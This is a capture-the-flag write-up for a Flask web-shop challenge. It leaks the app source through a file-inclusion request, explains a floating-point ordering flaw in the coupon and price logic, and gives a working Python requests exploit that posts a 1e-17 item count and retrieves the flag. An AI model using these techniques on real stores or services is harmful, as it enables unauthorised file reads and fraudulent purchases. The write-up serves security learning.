Tags: python floating-point
Rating: 5.0
First, we can leak the source code using LFI vulnerability
```
```
So, after some guessing we finally get the source (app.py)
- http://46.101.173.61/image?name=app.py
source is like this
```python
from flask import Flask, Response, render_template, session, request, jsonify
app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()
flags = {
'fake1': {
'price': 125,
'coupons': ['fL@__g'],
'data': 'fake1{this_is_a_fake_flag}'
},
'fake2': {
'price': 290,
'coupons': ['fL@__g'],
'data': 'fake2{this_is_a_fake_flag}'
},
'asis': {
'price': 110,
'coupons': [],
'data': open('private/flag.txt').read()
}
}
@app.route('/')
def main():
if session.get('credit') == None:
session['credit'] = 0
session['coupons'] = []
return render_template('index.html', credit = session['credit'])
#return 'Hello World!
Your Credit is {}
Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))
@app.route('/image')
def resouce():
image_name = request.args.get('name')
if '/' in image_name or '..' in image_name or 'private' in image_name:
return 'Access Denied'
return Response(open(image_name).read(), mimetype='image/png')
@app.route('/pay', methods=['POST'])
def pay():
data = request.get_json()
card = data['card']
coupon = data['coupon']
if coupon.replace('=','') in session.get('coupons'):
return jsonify({'result': 'the coupon is already used'})
for flag in card:
if flag['count'] <= 0:
return jsonify({'result':'item count must be greater than zero'})
discount = 0
for flag in card:
if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
discount += flag['count'] * flags[flag['name']]['price']
credit = session.get('credit') + discount
for flag in card:
credit -= flag['count'] * flags[flag['name']]['price']
if credit < 0:
result = {'result': 'your credit not enough'}
else:
result = {'result': 'pay success'}
result_data = []
for flag in card:
result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})
result['data'] = result_data
session['credit'] = credit
session['coupons'].append(coupon.replace('=',''))
return jsonify(result)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
```
The point of this challenge is that we can discount the flag price using coupons BUT when we pay the flag it substract our payment AND the flag price.
So, the calaulation is like
```
# using coupon
coupon_credit = flag['price'] * flag['count']
# paid
credit = coupon_credit - sumof(flag['count'] + flag['price'])
if credit >= 0:
print FLAG
```
that's weird :(
we can't put the count as negative value but real number (0<1)
However, at the end, the final credit should be negative value because the calculation logic substract the disdcount and real flag when we paid.
The trick of other write-ups is using NaN value that will produce the result as 0.
But there is also other trick to abuse the calculation using floating-point issue
- https://docs.python.org/3/tutorial/floatingpoint.html
The link mention that they drop after 17 digits.
Then, simply can we get the flag when we set the count[0] is 1e-17 ? the answer is nope :)
because, when they calculate multiplication, they support 1e-10**32 float value lol !!
Our trick is the sequence of calculation (Float -> Int), its only support 1e-16 and drop the rest digits
```python
a = [125, 110]
b = [1, 1e-17]
credit = 125
print "coupon credit : ", credit
for i in range(0, len(a)):
credit -= a[i] * b[i]
print "a[%d] * b[%d] : "%(i, i), a[i] * b[i]
print "credit : ", credit
print "Final value : ", credit
print "Is equal 0? : ", credit == 0
print
a = [110, 125]
b = [1e-17, 1]
credit = 125
print "coupon credit : ", credit
for i in range(0, len(a)):
credit -= a[i] * b[i]
print "a[%d] * b[%d] : "%(i,i), a[i] * b[i]
print "credit : ", credit
print "Final value : ", credit
print "Is equal 0? : ", credit == 0
print
```
The result is
```
coupon credit : 125
a[0] * b[0] : 125
credit : 0
a[1] * b[1] : 1.1e-15
credit : -1.1e-15
Final value : -1.1e-15
Is equal 0? : False
coupon credit : 125
a[0] * b[0] : 1.1e-15
credit : 125.0
a[1] * b[1] : 125
credit : 0.0
Final value : 0.0
Is equal 0? : True
```
lol !! the sequence is matter of result in python !!
Simply, the python thought that,
```
>>> 1-1+1e-17
1e-17
>>> 1e-17
1e-17
>>> 1-1+1e-17==1e-17
True
>>> 1-(1-1e-17)==1e-17
False
>>> 1+1e-17
1.0
>>> 0+1e-17
1e-17
```
anyway, the final code is
```python
import requests
url = "http://46.101.173.61/pay"
headers = {
'Host': '46.101.173.61',
}
r = requests.get("http://46.101.173.61", headers=headers)
print "[*] get request"
print r.content
print r.headers
print
headers['Cookie'] = r.headers['Set-Cookie']
headers['Content-Type'] = "application/json"
headers['X-Requested-With'] = "XMLHttpRequest"
# card sequence is matter of result
data = '''{"card":[{"name":"asis", "count":1e-17},{"name":"fake2", "count":1}],"coupon":"%s"}''' % ("fL@__g".encode("base64").strip())
r = requests.post(url, headers=headers, data=data)
print "[*] response"
print r.headers
print r.content
```
The result of the code
```
[*] response
{"data": [{"data": "ASIS{th1@n_3xpens1ve_Fl@G}\n", "flag": "asis"}, {"data": "fake2{this_is_a_fake_flag}", "flag": "fake2"}], "result": "pay success"}
[Finished in 2.1s]
```
I had lots fun with this floating issue in python. =)